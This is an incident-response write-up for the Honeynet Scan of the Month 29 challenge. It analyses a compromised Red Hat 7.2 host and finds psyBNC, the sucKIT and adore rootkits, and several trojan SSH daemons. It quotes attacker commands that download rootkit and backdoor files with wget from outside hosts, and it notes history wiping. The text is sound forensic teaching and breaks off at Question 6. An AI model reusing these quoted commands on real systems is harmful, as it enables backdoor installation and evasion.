Created: 29/09/2003 01:26

 

Honeynet.org Scan of the Month 29.

Analysis by German Martin (german.martin@hp.com)

 

Question 1:

Describe the process you used to confirm that the live host was compromised while reducing the impact to the running system and minimizing your trust in the system.

 

Answer:

 

When starting the Vmware virtual machine, first thing that sounded suspicious was the couple of messages about the network interface put in promiscuous mode sent to the console.

If an attacker sets the promiscuous mode for sniffing, it usually tries to hide this fact by modifying the ‘ifconfig’ command, so I decided to take these initial actions:

1.       Create a CD-ROM containing all the linux tools & commands I could probably use, compiled in static mode. That included, among many others, ls, find, netstat, strings, dd, bash, lsof, md5sum,cat, vi, strace, ifconfig and nc.

2.       Mount the cd, with the command:

mount /dev/cdrom /mnt/cdrom

Fortunately, both the device file and mount directory existed, and so my cd was mounted successfully.

3.       Check the ifconfig binary, using my trusted static md5sum command:

/mnt/cdrom/md5sum /sbin/ifconfig

bbdf9f3d6ed21c03b594adcd936c2961  /sbin/ifconfig

which differs from the checksum provided:

e984302652a0c59469a0d8826ae3cdeb  /sbin/ifconfig

and proves that the system has indeed been compromised. Note that the opposite is not true: if the checksum had resulted in the same value, it does not imply that the ifconfig binary was not modified. I was using a trusted ‘md5sum’ binary, but the system kernel could have been modify to return fake information.

 

Question 2:

Explain the impact that your actions had on the running system.

 

Answer:

 

My initial commands modified the running system in the following ways:

1.       The mounting of the cdrom modified the /etc/mtab. Also, if there were files under /mtn/cdrom, they would have been hidden.

2.       Checking MD5 checksum of /sbin/ifconfig modifies the access time of the file. To prevent losing this information, a previous ‘/mnt/cdrom/stat’ or ‘/mnt/cdrom/ls’ command could have been performed on it.

Obviously, the advantage of having a permanent ‘snapshot’ in Vmware is that I could have run a complete ‘md5sum’ of the complete file system, and restore the initial snapshot when finished, but that is something impossible to do in a real running system.

Even that, without breaking the rule of not restoring the snapshot, we can take advantage of Vmware and do the initial checking in a more clean way, doing this:

1.       Create another Vmware instance, with a clean Linux RedHat 7.2.

2.       Add the ‘linux.vmdk’ (the file containing the Vmware virtual disk) from the sotm as a SECOND disk, mounting it read-only.

3.       Check all the files you want with the clean md5sum command.

That way, nothing would be modified in the system provided, as we had not even run it. Anyway, it seemed a kind of ‘cheating’ as the purpose of the challenge was to analyze a running system.

 

 

Question 3:

List the PID(s) of the process(es) that had a suspect port(s) open (i.e. non Red Hat 7.2 default ports).

 

Answer:

 

The following PIDs were found suspicious:

 

PID

Program name

Port(s)

Status

3137

‘smbd –D’

TCP 80

TCP 2003

LISTEN

LISTEN

15119

initd

TCP 65336

TCP 65436

TCP 65336

TCP 1149

TCP 1146

LISTEN

LISTEN

Connected to 213.154.118.200

Connected to 64.62.96.42

Connected to 199.184.165.133

25241

xopen

TCP 3128

LISTEN

25239

xopen

UDP 3049

LISTEN

 

Port 80 is, obviously, a normal port in a default Red Hat 7.2. What is not normal is having a program posing as a Samba daemon (note that the program is NOT smbd with option –D, but a binary called ‘smbd –D’) with the http port open.

 

Description of analysis:

 

In order to get a list of running processes and connections, we could not trust the commands. Moreover, even if using my trusted statically linked binaries, if a LKM rootkit had been installed, some information could be hidden from us. For example, the adore rootkit (see, among many other references, http://ouah.kernsh.org/reiterlkm.htm) hides some connections by searching for a certain string in the ‘write’ system call if the command is called ‘netstat’.

So, I decided to take the approach of having renamed ‘netstat’ and ‘ps’ commands in my cdrom, called something else.

The output from my renamed netstat command was as follows:

# /mnt/cdrom/n –anp

 

Active Internet connections (servers and established)

Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name  

tcp        0      0 0.0.0.0:139             0.0.0.0:*               LISTEN      845/smbd           

tcp        0      0 0.0.0.0:79              0.0.0.0:*               LISTEN      732/xinetd         

tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      3137/smbd -D       

tcp        0      0 0.0.0.0:113             0.0.0.0:*               LISTEN      677/identd         

tcp        0      0 0.0.0.0:2003            0.0.0.0:*               LISTEN      3137/smbd -D       

tcp        0      0 0.0.0.0:21              0.0.0.0:*               LISTEN      732/xinetd         

tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      699/sshd           

tcp        0      0 0.0.0.0:23              0.0.0.0:*               LISTEN      732/xinetd         

tcp        0      0 0.0.0.0:65336           0.0.0.0:*               LISTEN      15119/initd        

tcp        0      0 0.0.0.0:3128            0.0.0.0:*               LISTEN      25241/xopen        

tcp        0      0 127.0.0.1:25            0.0.0.0:*               LISTEN      759/sendmail: accep

tcp        0      0 0.0.0.0:443             0.0.0.0:*               LISTEN      3137/smbd -D       

tcp        0      0 0.0.0.0:65436           0.0.0.0:*               LISTEN      15119/initd        

tcp        0      0 192.168.1.79:65336      213.154.118.200:1188    ESTABLISHED 15119/initd                          

tcp        0      0 192.168.1.79:1149       64.62.96.42:6667        ESTABLISHED 15119/initd        

tcp        0      0 192.168.1.79:1146       199.184.165.133:6667    ESTABLISHED 15119/initd        

udp        0      0 192.168.1.79:137        0.0.0.0:*                           850/nmbd           

udp        0      0 0.0.0.0:137             0.0.0.0:*                           850/nmbd           

udp        0      0 192.168.1.79:138        0.0.0.0:*                           850/nmbd           

udp        0      0 0.0.0.0:138             0.0.0.0:*                           850/nmbd           

udp        0      0 0.0.0.0:3049            0.0.0.0:*                           25239/xopen        

Active UNIX domain sockets (servers and established)

Proto RefCnt Flags       Type       State         I-Node PID/Program name    Path

unix  2      [ ACC ]     STREAM     LISTENING     943    778/gpm             /dev/gpmctl

unix  4      [ ]         DGRAM                    7984   3247/syslogd        /dev/log

unix  2      [ ]         DGRAM                    15679  732/xinetd         

unix  2      [ ]         DGRAM                    7993   3252/klogd         

unix  2      [ ]         DGRAM                    1078   893/login -- root  

unix  2      [ ]         DGRAM                    990    820/crond          

unix  2      [ ]         DGRAM                    924    759/sendmail: accep

unix  2      [ ]         DGRAM                    834    677/identd         

unix  2      [ ]         DGRAM                    804    657/apmd           

unix  2      [ ]         STREAM     CONNECTED     417    1/init             

Active IPX sockets

Proto Recv-Q Send-Q Local Address              Foreign Address            State

Which showed the suspicious programs ‘xopen’, ‘initd’, and smbd. Moreover, how it comes that there are TWO smbd daemons running in the system, and one with ports 80 & 2003 listening?

The output from the renamed ‘ps’ command was also interesting:

# /mnt/cdrom/s ax

PID TTY      STAT   TIME COMMAND

    1 ?        S      0:05 init

    2 ?        SW     0:00 [keventd]

    3 ?        SW     0:00 [kapm-idled]

    4 ?        SWN    0:00 [ksoftirqd_CPU0]

    5 ?        SW     0:00 [kswapd]

    6 ?        SW     0:00 [kreclaimd]

    7 ?        SW     0:00 [bdflush]

    8 ?        SW     0:00 [kupdated]

    9 ?        SW<    0:00 [mdrecoveryd]

   17 ?        SW     0:04 [kjournald]

   92 ?        SW     0:00 [khubd]

  657 ?        S      0:00 /usr/sbin/apmd -p 10 -w 5 -W -P /etc/sysconfig/apm-scripts/apmscript

  677 ?        S      0:00 identd -e -o

  685 ?        S      0:00 identd -e -o

  686 ?        S      0:00 identd -e -o

  695 ?        S      0:00 identd -e -o

  696 ?        S      0:00 identd -e -o

  699 ?        S      0:00 /usr/sbin/sshd

  732 ?        S      0:00 xinetd -stayalive -reuse -pidfile /var/run/xinetd.pid

  759 ?        S      0:00 sendmail: accepting connections

  778 ?        S      0:00 gpm -t ps/2 -m /dev/mouse

  820 ?        S      0:00 crond

  845 ?        S      0:00 smbd -D

  850 ?        S      0:00 nmbd -D

  893 tty1     S      0:00 login -- root    

  894 tty2     S      0:00 /sbin/mingetty tty2

  895 tty3     S      0:00 /sbin/mingetty tty3

  896 tty4     S      0:00 /sbin/mingetty tty4

  899 tty5     S      0:00 /sbin/mingetty tty5

  900 tty6     S      0:00 /sbin/mingetty tty6

  901 tty1     S      0:00 -bash

 3137 ?        S      0:03 smbd -D

 3153 ?        S      0:00 (swapd)

 3247 ?        S      0:00 syslogd -m 0

 3252 ?        S      0:00 klogd -2

25239 ?        S      0:00 /lib/.x/s/xopen -q -p 3128

25241 ?        S      0:00 /lib/.x/s/xopen -q -p 3128

25247 ?        S      0:00 /lib/.x/s/lsn

15119 ?        S      0:00 initd

16215 pts/1    R      0:00 ps -ax

It showed the already suspicious processes initd (15119), xopen (25239 & 25241) and smbd –D (3137). Also the (swapd)  process (3153) and lsn (25247) were suspicious.

Just for checking, I decided to make an script that would do the following actions:

1.       Try to enter directory /proc/<num>, being <num> 1 to 99.999.

2.       If that directory exists, gather all the information from the process:

                                                               i.      Command line, from /proc/<num>/cmdline

                                                             ii.      Current working directory, from /proc/<num>/cwd

                                                            iii.      Environment, from /proc/<num>/environ

                                                            iv.      Files, opened, entering /proc/<num>/fd and doing an ‘ls’.

                                                              v.      Summary of status, from /proc/<num>/status

The script is available here. The output obtained is also available here.

It showed no new processes, but confirmed the processes with open sockets and also give a lot of extra information. For example, the process 3137 is not ‘smbd’ with option –D, but a binary called ‘smbd –D’ (that is, smbd space –D), posing as a normal samba daemon under /usr/bin.

Also, some processes still had some deleted files open already deleted files, that meaning I could use them to recover these files. For example, process 3137 had the httpd error log file /var/log/httpd/error_log opened, so I could recover it doing:

/mnt/cdrom/cat /proc/3137/fd/15  |  /mnt/cdrom/nc 192.168.1.80 7777

being 192.168.1.80 my own system, where I had a netcat listening as:

nc –l 7777 > /recovered/var/log/httpd/error_log.

That way, I was able to recover several log files, as /var/log/messages, httpd error logs and smbd error logs.

None of the running processes had its binary deleted. Had this been the case, I could have recovered it using the /proc/<num>/exe link.

Anyway, using the netcat method, I transferred all the running binaries to my system for later analysis. At that time, I had already copied the whole file system with dd & netcat, but copied them again just for being in the safe side, in case of the file system image being somehow corrupted or not in a stable state.

Just for checking, I decided to run nmap command against the running vmware. This is probably something you should not do in a real system, as it could trigger a lot of actions in the analyzed system. But, remember, we are here for fun…

Nmap showed no new info:

Starting nmap V. 3.00 ( www.insecure.org/nmap/ )

Interesting ports on  (192.168.1.79):

(The 65523 ports scanned but not shown below are in state: closed)

Port       State       Service

21/tcp     open        ftp                    

22/tcp     open        ssh                     

23/tcp     open        telnet                 

79/tcp     open        finger                 

80/tcp     open        http                   

113/tcp    open        auth                   

139/tcp    open        netbios-ssn            

443/tcp    open        https                  

2003/tcp   open        cfingerd               

3128/tcp   open        squid-http             

65336/tcp  open        unknown                

65436/tcp  open        unknown

 

               

 

Question 4:

Were there any active network connections? If so, what address(es) was the other end and what service(s) was it for?

 

Answer:

 

 There were just three active connections, as seen in question 3:

PID

Program name

Port(s)

Status

15119

/etc/opt/psybnc/initd

TCP 65336

TCP 1149

TCP 1146

Connected to 213.154.118.200:1188

Connected to 64.62.96.42:6667

Connected to 199.184.165.133:6667

/etc/opt/psybnc/initd turned out to be ‘psybnc’ package (See http://www.netknowledgebase.com/tutorials/psybnc.html for details). The connections are IRC proxied connections, so the real user IP address is hidden.

Client is 213.154.118.220 (sanido-08.is.pcnet.ro). From there, the attacker is connected through psybnc to two IRC servers: mesa.az.us.undernet.org (64.62.96.42) and fairfax.va.us.undernet.org (199.184.165.133).

Connections are active, and there have been IRC activity, as I could recover several IRC conversations from memory. See here.

 

Description of analysis:

 

For analyzing the file system, I decided to take a complete image of the memory, disk and swap, using netcat, as the very first action after question 1:

1.     /mnt/cdrom/dd if=/dev/mem bs=4096 | /mnt/cdrom/nc 192.168.1.80 5555

2.     /mnt/cdrom/dd if=/dev/swap bs=4096 | /mnt/cdrom/nc 192.168.1.80 6666 

3.       /mnt/cdrom/dd if=/dev/hda1 bs=4096 | /mnt/cdrom/nc 192.168.1.80 7777

while, at the same time, running these commands in my system:

1.     nc –l 5555 > /recovered/memory

2.     nc –l 6666 > /recovered/swap

3.       nc –l 7777 > /recovered/disk

I could then use the /recovered/disk for offline analysis, using autopsy or mounting it read-only.

 Investigating the /etc/opt/psybnc directory, I found a lot of files. Under /etc/opt, there is the file /etc/opt/psyBNC2.3.1.tar.gz. This file contains the psyBNC 2.3.1 package.

Searched for psyBNC in google and found that is an IRC proxy that allows anonymization.

psyBNC was downloaded & installed by our hacker at Aug 10 15:57, considering MAC times of file psyBNC2.3.1.tar.gz.

Also, I recovered portions of the commands executed by the attacker from system memory (available here). Among them, the following lines explained what happened:

cd /etc/opt

ls -a

wget www.psychoid.lam3rz.de/psyBNC2.3.1.tar.gz

tar -xzvf psyBNC2.3.1.tar.gz

cd psybnc

ls -a

make menuconfig

make menuconfig-curses

ls -a

vi psybnc.conf

[3~65336

PSYBNC.SYSTEM.PORT1=65336

PSYBNC.SYSTEM.HOST1=*

[3~80

-100

OBPSYBNC.SYSTEM.PORT2=-100

PSYBNC.SYSTEM.HOST2=*

[3~2

rm -rf /var/spool/mail/root

make

ls -a

vi salt.h

ls -a

rm -rf salt.h

mv psybnc initd

PATH=:PATH

initd

That is, he downloaded the psyBNC version 2.3.1 package from www.psychoid.lam3rz.de. Unpackaged it, compile it (see make commands), and edited the configuration file psybnc.conf. After that, moved the main binary to ‘initd’ and started it.

From the psybnc.conf file, we can obtain quite interesting information:

Extracted files from package above. The configuration file 'psybnc.conf' shows several entries, among them:

PSYBNC.SYSTEM.PORT1=65336

PSYBNC.SYSTEM.PORT2=-100

USER1.USER.LOGIN=sic

USER1.USER.NICK=[[[kgb]]]

USER1.SERVERS.SERVER1=mesa.az.us.undernet.org

USER1.SERVERS.PORT1=6667

USER1.CHANNELS.ENTRY1=#radioactiv

USER1.CHANNELS.ENTRY0=#RedCode

USER2.USER.LOGIN=redcode

USER2.USER.NICK=redcode

USER2.SERVERS.SERVER1=mesa.az.us.undernet.org

USER2.SERVERS.PORT1=6667

USER2.CHANNELS.ENTRY1=#AiaBuni

USER2.CHANNELS.ENTRY0=#RedCode

So, psyBNC was configured to talk to server mesa.az.us.undernet.org, with nick '[[[kgb]]]', and into channels #radioactiv & #RedCode, if using user 'sic'.

And with user and nick 'redcode', into channels #AiaBuni & #RedCode.

The system uses ports 65336 & 65436 for incoming connections, and standard 6667 IRC port for outgoing ones.

Also, searching for strings “kgb”, “redcode” and “undernet.org” in the copied system memory, I could recover several parts of IRC conversations.

 

 

Question 5:

How many instances of an SSH server were installed and at what times?

 

Answer:

 

The following SSH server instances were found in the system:

Command

Configuration file(s)

Installed

/usr/bin/smbd –D

/usr/include/iceconf.h (sshd config file. Listen in port 2003)

/usr/include/iceseed.h (random seed)

/usr/include/icekey.h (host private key)

/usr/include/icepid.h (PID file)

Installed at Aug 10 2003 13:33., downloaded with wget from geocities.com/mybabywhy/rk.tar.gz., and installed with script ‘install’.

/lib/.x/s/xopen

/lib/.x/s/sshd_config (sshd config file. Listen in port 3128)

/lib/.x/s/s_h_k (host private key)

Installed at Aug 10 2003 15:32, according to timestamps.

/usr/lib/sp0

/usr/lib/sp0_cfg (sshd configuration file. Listen in port 345).

/usr/lib/sp0_key (host private key).

/usr/lib/sp0_seed (random seed).

/var/run/sshd.pid (pid file)

Installed at Aug 10 2003 15:30, downloaded from izolam.net through this installation script.

/usr/sbin/sshd

Standard RedHat 7.2 ssh daemon.

/var/lib/random-seed

/var/run/sshd.pid

Installed at system installation. According to the timeline, that happened at Aug 6 2003.

 

 

Description of analysis:

 

In order to determine the SSH servers installed, I analyzed all the different/added files in the offline file system, by generating a new MD5 checksum for all the files and generating a diff file (see Forensics Analysis of all files found).

 

Of all the files, only three were executables that contained what looked as an SSH server (using strings). Those were /usr/bin/smbd –D, /lib/.x/s/xopen & /usr/lib/sp0, apart from the standard /usr/sbin/sshd, that was still there.

 

a) The origin of the first one, was found when the following history commands were found in memory:

wget geocities.com/mybabywhy/rk.tar.gz

tar -zxvf rk.tar.gz

cd sand

./install

 

I downloaded the rk.tar.gz package, to discover that it was the sucKIT rootkit. The install script copied & run the ‘crontabs’ binary, that in turns run ‘smbd –D’. The autopsy timeline confirms the time:

 

Sun Aug 10 2003 13:33:33

                           672527 ..c -/-rwxr-xr-x 0        0        92030    /usr/bin/smbd -D

 

b) The xopen file was created at Aug 10 15:32, according to the timeline.

 

c) The sp0 server was installed at Aug 10 15:30, according to the timeline:

 

 

 Sun Aug 10 2003 15:30:54

                              532 ..c -/-rw-r--r-- 48       48       47161    /usr/lib/sp0_key

                              248 .a. -/-rw-r--r-- 0        0        18208    /usr/include/asm/cache.h

                             1016 mac -/-rw-r--r-- 0        0        47171    /usr/lib/cleaner.o

                                3 .a. l/lrwxrwxrwx 0        0        62616    /usr/bin/cc -> gcc

                               14 .a. l/lrwxrwxrwx 0        0        46283    /boot/kernel.h -> kernel.h-2.4.7

                             2359 .a. -/-rw-r--r-- 0        0        18269    /usr/include/asm/posix_types.h

                             5725 .a. -/-rw-r--r-- 0        0        77510    /usr/include/linux/spinlock.h

                             4267 .a. -/-rw-r--r-- 0        0        77455    /usr/include/linux/rhconfig.h

                              208 .a. -/-rw-r--r-- 0        0        18260    /usr/include/asm/page_offset.h

                             3284 .a. -/-rw-r--r-- 0        0        18259    /usr/include/asm/page.h

                                9 m.c l/lrwxrwxrwx 0        0        47172    /root/.bash_history -> /dev/null

                            13375 .a. -/-rw-r--r-- 0        0        18270    /usr/include/asm/processor.h

                            10423 .a. -/-rw-r--r-- 0        0        77361    /usr/include/linux/module.h

                             1242 .a. -/-rw-r--r-- 0        0        77429    /usr/include/linux/posix_types.h

                             5636 ..c -/-rw-r--r-- 0        0        47169    /usr/lib/adore.o

                              422 .a. -/-rw-r--r-- 0        0        77528    /usr/include/linux/threads.h

                              152 .a. -/-rw-r--r-- 0        0        18276    /usr/include/asm/segment.h

                              513 ..c -/-rw-r--r-- 48       48       47164    /usr/lib/sp0_seed

                              621 ..c -/-rw-r--r-- 48       48       47166    /usr/lib/sp0_cfg

                           230163 ..c -/-rwx------ 48       48       47165    /usr/lib/sp0

 

That was made with the script redcode_rootkit_install, at the following lines:

 

wget izolam.net/rc/ssh/sp0 -q

wget izolam.net/rc/ssh/sp0_cfg -q

wget izolam.net/rc/ssh/sp0_key -q

wget izolam.net/rc/ssh/sp0_seed –q

 

Question 6:

Which instances of the SSH servers from question 5 were run?

 

Answer:

 </